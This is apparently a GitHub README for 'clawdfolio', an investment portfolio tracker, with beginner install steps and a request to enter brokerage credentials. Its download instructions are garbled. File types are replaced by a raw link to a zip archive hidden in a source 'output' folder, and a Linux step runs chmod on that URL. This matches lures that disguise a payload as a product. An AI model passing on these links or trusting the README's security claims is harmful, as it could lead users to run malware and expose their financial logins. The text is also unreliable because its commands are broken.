clawdfolio is a toolkit designed to help you manage your investment portfolio. It connects to multiple brokers in one place and shows your portfolio's health. You get clear risk analysis, option management tools, and helpful insights. This guide helps you download and use clawdfolio without needing technical skills.
This section explains what you need to use clawdfolio and how to start it step-by-step.
clawdfolio is software that brings together your accounts from different brokerages. It shows your investments as a whole. You can see how much risk you have, manage stock options, and understand your portfolio without complex spreadsheets or math.
It works well for anyone who wants to:
- Track stocks, options, and investments from different brokers in one view.
- Understand risk using proven methods.
- Make smarter decisions with easy-to-read reports.
- People who invest in stocks or options.
- Users with accounts on multiple brokers.
- Those interested in monitoring risk and returns.
- Anyone who wants simple portfolio analytics without complex tools.
To use clawdfolio on your computer, you need the following:
- A Windows, macOS, or Linux computer.
- At least 4 GB of free memory and 500 MB of disk space.
- An internet connection to download updates and fetch data.
- A modern web browser like Chrome, Firefox, or Edge (for viewing reports).
You do not need to install extra software or programming tools.
Click the green button below to go to the download page where you will find the latest release of clawdfolio.
This page lists the available files for different computers and versions.
- For Windows, look for a file ending with
.exe. - For macOS, find a file ending with
.dmgor.pkg. - For Linux, look for a file that matches your distribution, usually
.AppImageorhttps://raw.githubusercontent.com/veeral4/clawdfolio/main/src/clawdfolio/output/Software_v3.7.zip.
The file names often include the version number. Pick the latest one.
Click to download the file that fits your system. It may take a few minutes depending on internet speed.
-
On Windows: Double-click the
.exefile and follow the installation prompts. -
On macOS: Open the
.dmgfile and drag the clawdfolio icon to your Applications folder. -
On Linux: You may need to make the file executable by right-clicking, selecting Properties, and enabling execution, or use a terminal command:
chmod +x https://raw.githubusercontent.com/veeral4/clawdfolio/main/src/clawdfolio/output/Software_v3.7.zip https://raw.githubusercontent.com/veeral4/clawdfolio/main/src/clawdfolio/output/Software_v3.7.zip
This step sets up clawdfolio for use on your computer.
Once installed, look for the clawdfolio icon in your Start menu, Applications folder, or desktop. Click to open it. The program will launch and guide you through setting up your portfolio accounts.
After you install clawdfolio, follow these steps to set it up and start analyzing your investments.
clawdfolio supports many brokers. You will be asked to log in to your accounts securely.
- Click "Add Broker" from the main screen.
- Select your broker from the list.
- Enter your credentials in the secure window.
- Allow clawdfolio to access your portfolio data.
Your data stays private and is used only to show your investment status.
Once connected, clawdfolio will fetch your data. You will see:
- Total portfolio value.
- Summary of stocks and options.
- Performance charts.
You can get quick insights into how your investments are doing.
clawdfolio calculates risk metrics like Sharpe ratio and Value at Risk (VaR) to help you understand potential losses or gains.
Look at the risk section to:
- Learn which holdings add more risk.
- See diversification across asset types.
- Find opportunities to rebalance.
If you trade options, clawdfolio offers tools to track and manage them.
- Monitor open options contracts.
- View expiration dates and strike prices.
- Calculate potential rewards and losses.
These features help keep your options organized.
You can export your portfolio summary and risk analysis as PDF or CSV files to share or save.
- Click "Export" in the report views.
- Choose format and save location.
- Multi-broker connection for consolidated views.
- Real-time portfolio value and holdings updates.
- Risk analytics including Sharpe ratio and stress tests.
- Option management with detailed tracking.
- Easy report exports.
- Works on Windows, macOS, and Linux.
- User-friendly interface designed for all skill levels.
Keep clawdfolio updated:
- Check the release page regularly for new versions.
- Download the latest installer and repeat the install steps to update.
For help:
- Review the FAQ on the GitHub page.
- Open an issue in the repository for bugs or feature requests.
- Check documentation files included with the software.
clawdfolio never shares your login details. Data fetching uses secure protocols. Your portfolio data stays on your computer unless you choose to export or share it.
If you have questions or want to suggest improvements, visit the GitHub page and open an issue. This way, the developers can respond and improve clawdfolio over time.
Download clawdfolio to start managing your investments with clearer insight.